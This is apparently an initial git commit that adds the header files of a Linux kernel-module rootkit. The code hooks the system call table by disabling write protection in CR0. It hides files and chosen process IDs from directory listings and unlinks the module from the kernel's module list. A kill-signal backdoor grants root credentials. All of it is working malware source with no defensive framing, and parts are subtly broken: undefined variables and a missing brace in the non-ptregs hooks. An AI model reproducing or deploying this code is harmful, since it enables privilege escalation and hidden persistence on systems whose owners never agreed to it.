Initial Commit
This commit is contained in:
24
include/cred_helper.h
Normal file
24
include/cred_helper.h
Normal file
@ -0,0 +1,24 @@
|
||||
#include <linux/cred.h>
|
||||
|
||||
#ifndef CRED_HELPER_H
|
||||
#define CRED_HELPER_H
|
||||
|
||||
static void get_root(void) {
|
||||
struct cred* root;
|
||||
|
||||
root = prepare_creds();
|
||||
if (root == NULL) {
|
||||
return;
|
||||
}
|
||||
root->uid.val = 0;
|
||||
root->gid.val = 0;
|
||||
root->euid.val = 0;
|
||||
root->egid.val = 0;
|
||||
root->suid.val = 0;
|
||||
root->sgid.val = 0;
|
||||
root->fsuid.val = 0;
|
||||
root->fsgid.val = 0;
|
||||
commit_creds(root);
|
||||
}
|
||||
|
||||
#endif
|
23
include/hide_show_helper.h
Normal file
23
include/hide_show_helper.h
Normal file
@ -0,0 +1,23 @@
|
||||
#include <linux/types.h>
|
||||
#include <linux/export.h>
|
||||
|
||||
#include "rootkit_utils.h"
|
||||
|
||||
#ifndef HIDE_SHOW_HELPER_H
|
||||
#define HIDE_SHOW_HELPER_H
|
||||
|
||||
static short hidden = 0;
|
||||
static struct list_head * previous_module;
|
||||
|
||||
static void hideme(void) {
|
||||
previous_module = THIS_MODULE->list.prev;
|
||||
list_del(&THIS_MODULE->list);
|
||||
hidden = 1;
|
||||
}
|
||||
|
||||
static void showme(void) {
|
||||
list_add(&THIS_MODULE->list, previous_module);
|
||||
hidden = 0;
|
||||
}
|
||||
|
||||
#endif
|
50
include/rootkit_utils.h
Normal file
50
include/rootkit_utils.h
Normal file
@ -0,0 +1,50 @@
|
||||
#include <linux/version.h>
|
||||
#include <linux/list.h>
|
||||
#include <linux/slab.h>
|
||||
#include <linux/kernel.h>
|
||||
|
||||
#ifndef ROOTKIT_UTILS_H
|
||||
#define ROOTKIT_UTILS_H
|
||||
|
||||
// ===== CONFIG ======
|
||||
|
||||
// File prefix that excludes entries from getdents64
|
||||
#define DIRECTORY_EXCLUSION_PREFIX "rtkit_exclude"
|
||||
|
||||
// Signal code that drops a root shell
|
||||
#define ROOT_SHELL_SIGNAL_CODE 64
|
||||
|
||||
// Signal code that toggles rootkit visablity
|
||||
#define TOGGLE_MODULE_HIDE_SIGNAL_CODE 65
|
||||
|
||||
// Signal code to change the hidden pid
|
||||
#define TOGGLE_PID_HIDE_SIGNAL_CODE 66
|
||||
|
||||
// // Default port to hide, if equal to 0, hides none
|
||||
// #define PORT_HIDE_DEFAULT_PORT 0
|
||||
|
||||
// ===================
|
||||
|
||||
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
|
||||
#define PTREGS_SYSCALL_STUBS 1
|
||||
typedef asmlinkage long (*tt_syscall)(const struct pt_regs *);
|
||||
#endif
|
||||
|
||||
struct linked_list_node {
|
||||
void *data;
|
||||
struct list_head list;
|
||||
};
|
||||
|
||||
static LIST_HEAD(excluded_pids);
|
||||
|
||||
void append_node(struct list_head *list, void * data) {
|
||||
struct linked_list_node *entry;
|
||||
entry = kmalloc(sizeof *entry, GFP_KERNEL);
|
||||
if (!entry)
|
||||
return;
|
||||
entry->data = data;
|
||||
INIT_LIST_HEAD(&entry->list);
|
||||
list_add_tail(&entry->list, list);
|
||||
}
|
||||
|
||||
#endif
|
130
include/syscall_getdents64_hook.h
Normal file
130
include/syscall_getdents64_hook.h
Normal file
@ -0,0 +1,130 @@
|
||||
#include <linux/dirent.h>
|
||||
|
||||
#include "syscall_table_fetch.h"
|
||||
#include "rootkit_utils.h"
|
||||
|
||||
#ifndef SYSCALL_GETDENTS64_HOOK_H
|
||||
#define SYSCALL_GETDENTS64_HOOK_H
|
||||
|
||||
#ifdef PTREGS_SYSCALL_STUBS
|
||||
static tt_syscall original_getdents64;
|
||||
#else
|
||||
typedef asmlinkage long (*tt_syscall_getdents64)(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
|
||||
static tt_syscall_getdents64 original_getdents64;
|
||||
#endif
|
||||
|
||||
#ifdef PTREGS_SYSCALL_STUBS
|
||||
static asmlinkage int getdents64_hook(const struct pt_regs *regs) {
|
||||
struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
|
||||
struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
|
||||
unsigned long offset = 0;
|
||||
long error;
|
||||
int ret = original_getdents64(regs);
|
||||
|
||||
dirent_ker = (struct linux_dirent64*) kzalloc(ret, GFP_KERNEL);
|
||||
if ((ret <= 0) || (dirent_ker == NULL)) {
|
||||
return ret;
|
||||
}
|
||||
error = copy_from_user(dirent_ker, dirent, ret);
|
||||
if (error) {
|
||||
kfree(dirent_ker);
|
||||
return ret;
|
||||
}
|
||||
while (offset < ret) {
|
||||
current_dir = (void *) dirent_ker + offset;
|
||||
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
|
||||
if (current_dir == dirent_ker) {
|
||||
ret -= current_dir->d_reclen;
|
||||
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
|
||||
continue;
|
||||
}
|
||||
previous_dir->d_reclen += current_dir->d_reclen;
|
||||
} else {
|
||||
struct linked_list_node *node;
|
||||
int found = 0;
|
||||
list_for_each_entry(node, &excluded_pids, list) {
|
||||
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (found) {
|
||||
if (current_dir == dirent_ker) {
|
||||
ret -= current_dir->d_reclen;
|
||||
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
|
||||
continue;
|
||||
}
|
||||
previous_dir->d_reclen += current_dir->d_reclen;
|
||||
} else {
|
||||
previous_dir = current_dir;
|
||||
}
|
||||
}
|
||||
offset += current_dir->d_reclen;
|
||||
}
|
||||
error = copy_to_user(dirent, dirent_ker, ret);
|
||||
if (error) {
|
||||
kfree(dirent_ker);
|
||||
return ret;
|
||||
}
|
||||
kfree(dirent_ker);
|
||||
return ret;
|
||||
}
|
||||
#else
|
||||
static asmlinkage int getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
|
||||
struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
|
||||
unsigned long offset = 0;
|
||||
long error;
|
||||
int ret = original_getdents64(fd, dirp, count);
|
||||
|
||||
dirent_ker = (struct linux_dirent64*) kzalloc(ret, GFP_KERNEL);
|
||||
if ((ret <= 0) || (dirent_ker == NULL)) {
|
||||
return ret;
|
||||
}
|
||||
error = copy_from_user(dirent_ker, dirent, ret);
|
||||
if (error) {
|
||||
kfree(dirent_ker);
|
||||
return ret;
|
||||
}
|
||||
while (offset < ret) {
|
||||
current_dir = (void *) dirent_ker + offset;
|
||||
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
|
||||
if(current_dir == dirent_ker) {
|
||||
ret -= current_dir->d_reclen;
|
||||
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
|
||||
continue;
|
||||
}
|
||||
previous_dir->d_reclen += current_dir->d_reclen;
|
||||
} else {
|
||||
struct linked_list_node *node;
|
||||
int found = 0;
|
||||
list_for_each_entry(node, &excluded_pids, list) {
|
||||
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (found) {
|
||||
if (current_dir == dirent_ker) {
|
||||
ret -= current_dir->d_reclen;
|
||||
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
|
||||
continue;
|
||||
}
|
||||
previous_dir->d_reclen += current_dir->d_reclen;
|
||||
} else {
|
||||
previous_dir = current_dir;
|
||||
}
|
||||
}
|
||||
offset += current_dir->d_reclen;
|
||||
}
|
||||
error = copy_to_user(dirent, dirent_ker, ret);
|
||||
if (error) {
|
||||
kfree(dirent_ker);
|
||||
return ret;
|
||||
}
|
||||
kfree(dirent_ker);
|
||||
return ret;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
#endif
|
136
include/syscall_getdents_hook.h
Normal file
136
include/syscall_getdents_hook.h
Normal file
@ -0,0 +1,136 @@
|
||||
#include <linux/dirent.h>
|
||||
|
||||
#include "syscall_table_fetch.h"
|
||||
#include "rootkit_utils.h"
|
||||
|
||||
#ifndef SYSCALL_GETDENTS_HOOK_H
|
||||
#define SYSCALL_GETDENTS_HOOK_H
|
||||
|
||||
struct linux_dirent {
|
||||
unsigned long d_ino;
|
||||
unsigned long d_off;
|
||||
unsigned short d_reclen;
|
||||
char d_name[1];
|
||||
};
|
||||
|
||||
#ifdef PTREGS_SYSCALL_STUBS
|
||||
static tt_syscall original_getdents;
|
||||
#else
|
||||
typedef asmlinkage long (*tt_syscall_getdents)(unsigned int fd, struct linux_dirent *dirp, unsigned int count);
|
||||
static tt_syscall_getdents original_getdents;
|
||||
#endif
|
||||
|
||||
#ifdef PTREGS_SYSCALL_STUBS
|
||||
static asmlinkage int getdents_hook(const struct pt_regs *regs) {
|
||||
struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
|
||||
struct linux_dirent *previous_dir, *current_dir, *dirent_ker = NULL;
|
||||
unsigned long offset = 0;
|
||||
long error;
|
||||
int ret = original_getdents(regs);
|
||||
|
||||
dirent_ker = (struct linux_dirent *) kzalloc(ret, GFP_KERNEL);
|
||||
if ((ret <= 0) || (dirent_ker == NULL)) {
|
||||
return ret;
|
||||
}
|
||||
error = copy_from_user(dirent_ker, dirent, ret);
|
||||
if (error) {
|
||||
kfree(dirent_ker);
|
||||
return ret;
|
||||
}
|
||||
while (offset < ret) {
|
||||
current_dir = (void *) dirent_ker + offset;
|
||||
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
|
||||
if(current_dir == dirent_ker) {
|
||||
ret -= current_dir->d_reclen;
|
||||
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
|
||||
continue;
|
||||
}
|
||||
previous_dir->d_reclen += current_dir->d_reclen;
|
||||
} else {
|
||||
struct linked_list_node *node;
|
||||
int found = 0;
|
||||
list_for_each_entry(node, &excluded_pids, list) {
|
||||
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (found) {
|
||||
if (current_dir == dirent_ker) {
|
||||
ret -= current_dir->d_reclen;
|
||||
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
|
||||
continue;
|
||||
}
|
||||
previous_dir->d_reclen += current_dir->d_reclen;
|
||||
} else {
|
||||
previous_dir = current_dir;
|
||||
}
|
||||
}
|
||||
offset += current_dir->d_reclen;
|
||||
}
|
||||
error = copy_to_user(dirent, dirent_ker, ret);
|
||||
if (error) {
|
||||
kfree(dirent_ker);
|
||||
return ret;
|
||||
}
|
||||
kfree(dirent_ker);
|
||||
return ret;
|
||||
}
|
||||
#else
|
||||
static asmlinkage int getdents_hook(unsigned int fd, struct linux_dirent *dirp, unsigned int count) {
|
||||
struct linux_dirent *previous_dir, *current_dir, *dirent_ker = NULL;
|
||||
unsigned long offset = 0;
|
||||
long error;
|
||||
int ret = original_getdents(fd, dirp, count);
|
||||
|
||||
dirent_ker = (struct linux_dirent*) kzalloc(ret, GFP_KERNEL);
|
||||
if ((ret <= 0) || (dirent_ker == NULL)) {
|
||||
return ret;
|
||||
}
|
||||
error = copy_from_user(dirent_ker, dirent, ret);
|
||||
if (error) {
|
||||
kfree(dirent_ker);
|
||||
return ret;
|
||||
}
|
||||
while (offset < ret) {
|
||||
current_dir = (void *) dirent_ker + offset;
|
||||
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
|
||||
if(current_dir == dirent_ker) {
|
||||
ret -= current_dir->d_reclen;
|
||||
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
|
||||
continue;
|
||||
}
|
||||
previous_dir->d_reclen += current_dir->d_reclen;
|
||||
} else {
|
||||
struct linked_list_node *node;
|
||||
int found = 0;
|
||||
list_for_each_entry(node, &excluded_pids, list) {
|
||||
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (found) {
|
||||
if (current_dir == dirent_ker) {
|
||||
ret -= current_dir->d_reclen;
|
||||
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
|
||||
continue;
|
||||
}
|
||||
previous_dir->d_reclen += current_dir->d_reclen;
|
||||
} else {
|
||||
previous_dir = current_dir;
|
||||
}
|
||||
}
|
||||
offset += current_dir->d_reclen;
|
||||
}
|
||||
error = copy_to_user(dirent, dirent_ker, ret);
|
||||
if (error) {
|
||||
kfree(dirent_ker);
|
||||
return ret;
|
||||
}
|
||||
kfree(dirent_ker);
|
||||
return ret;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
100
include/syscall_kill_hook.h
Normal file
100
include/syscall_kill_hook.h
Normal file
@ -0,0 +1,100 @@
|
||||
#include <linux/types.h>
|
||||
|
||||
#include "syscall_table_fetch.h"
|
||||
#include "rootkit_utils.h"
|
||||
#include "hide_show_helper.h"
|
||||
#include "cred_helper.h"
|
||||
|
||||
#ifndef SYSCALL_KILL_HOOK_H
|
||||
#define SYSCALL_KILL_HOOK_H
|
||||
|
||||
|
||||
#ifdef PTREGS_SYSCALL_STUBS
|
||||
static tt_syscall original_kill;
|
||||
#else
|
||||
typedef asmlinkage long (*tt_syscall_kill)(unsigned int fd, struct linux_dirent *dirp, unsigned int count);
|
||||
static tt_syscall_kill original_kill;
|
||||
#endif
|
||||
|
||||
#ifdef PTREGS_SYSCALL_STUBS
|
||||
static asmlinkage int kill_hook(const struct pt_regs * regs) {
|
||||
int signal = (int) regs->si;
|
||||
|
||||
if (signal == ROOT_SHELL_SIGNAL_CODE) {
|
||||
get_root();
|
||||
return 0;
|
||||
} else if (signal == TOGGLE_MODULE_HIDE_SIGNAL_CODE) {
|
||||
if (hidden == 0) {
|
||||
hideme();
|
||||
} else {
|
||||
showme();
|
||||
}
|
||||
return 0;
|
||||
} else if (signal == TOGGLE_PID_HIDE_SIGNAL_CODE) {
|
||||
char * strpid;
|
||||
struct linked_list_node *node;
|
||||
struct linked_list_node *target = NULL;
|
||||
|
||||
strpid = (char *) kzalloc(20, GFP_KERNEL);
|
||||
if ((strpid == NULL)) {
|
||||
return 0;
|
||||
}
|
||||
snprintf(strpid, 20, "%d", (int) regs->di);
|
||||
list_for_each_entry(node, &excluded_pids, list) {
|
||||
if (memcmp(node->data, strpid, strlen(strpid)) == 0) {
|
||||
target = node;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (target) {
|
||||
list_del(&target->list);
|
||||
kfree(target->data);
|
||||
kfree(target);
|
||||
} else {
|
||||
append_node(&excluded_pids, strpid);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
return original_kill(regs);
|
||||
}
|
||||
#else
|
||||
static asmlinkage int kill_hook(pid_t pid, int sig) {
|
||||
if (sig == ROOT_SHELL_SIGNAL_CODE) {
|
||||
get_root();
|
||||
return 0;
|
||||
} else if (sig == TOGGLE_MODULE_HIDE_SIGNAL_CODE) {
|
||||
if (hidden == 0) {
|
||||
hideme();
|
||||
} else {
|
||||
showme();
|
||||
}
|
||||
return 0;
|
||||
} else if (sig == TOGGLE_PID_HIDE_SIGNAL_CODE) {
|
||||
char * strpid;
|
||||
struct linked_list_node *node;
|
||||
struct linked_list_node *target = NULL;
|
||||
|
||||
strpid = (char *) kzalloc(20, GFP_KERNEL);
|
||||
if ((strpid == NULL)) {
|
||||
return 0;
|
||||
}
|
||||
snprintf(strpid, 20, "%d", (int) regs->di);
|
||||
list_for_each_entry(node, &excluded_pids, list) {
|
||||
if (memcmp(node->data, strpid, strlen(strpid)) == 0) {
|
||||
target = node;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (target) {
|
||||
list_del(&target->list);
|
||||
kfree(target->data);
|
||||
kfree(target);
|
||||
} else {
|
||||
append_node(&excluded_pids, strpid);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
return original_kill(pid, sig);
|
||||
#endif
|
||||
|
||||
#endif
|
54
include/syscall_table_fetch.h
Normal file
54
include/syscall_table_fetch.h
Normal file
@ -0,0 +1,54 @@
|
||||
#include <linux/syscalls.h>
|
||||
#include <linux/slab.h>
|
||||
#include <linux/sched.h>
|
||||
#include <linux/fdtable.h>
|
||||
#include <linux/proc_ns.h>
|
||||
#include <asm/ptrace.h>
|
||||
#include <linux/dirent.h>
|
||||
|
||||
#include "rootkit_utils.h"
|
||||
|
||||
#ifndef SYSCALL_TABLE_FETCH_H
|
||||
#define SYSCALL_TABLE_FETCH_H
|
||||
|
||||
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
|
||||
#define KPROBE_LOOKUP 1
|
||||
#include <linux/kprobes.h>
|
||||
|
||||
static struct kprobe kp = {
|
||||
.symbol_name = "kallsyms_lookup_name"
|
||||
};
|
||||
#endif
|
||||
|
||||
unsigned long cr0;
|
||||
static unsigned long *__sys_call_table;
|
||||
|
||||
unsigned long *get_syscall_table(void) {
|
||||
unsigned long *syscall_table;
|
||||
|
||||
#ifdef KPROBE_LOOKUP
|
||||
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
|
||||
|
||||
kallsyms_lookup_name_t kallsyms_lookup_name;
|
||||
register_kprobe(&kp);
|
||||
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
|
||||
unregister_kprobe(&kp);
|
||||
#endif
|
||||
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
|
||||
return syscall_table;
|
||||
}
|
||||
|
||||
static inline void write_cr0_forced(unsigned long val) {
|
||||
unsigned long __force_order;
|
||||
asm volatile("mov %0, %%cr0" : "+r"(val), "+m"(__force_order));
|
||||
}
|
||||
|
||||
static inline void protect_memory(void) {
|
||||
write_cr0_forced(cr0);
|
||||
}
|
||||
|
||||
static inline void unprotect_memory(void) {
|
||||
write_cr0_forced(cr0 & ~0x00010000);
|
||||
}
|
||||
|
||||
#endif
|
Reference in New Issue
Block a user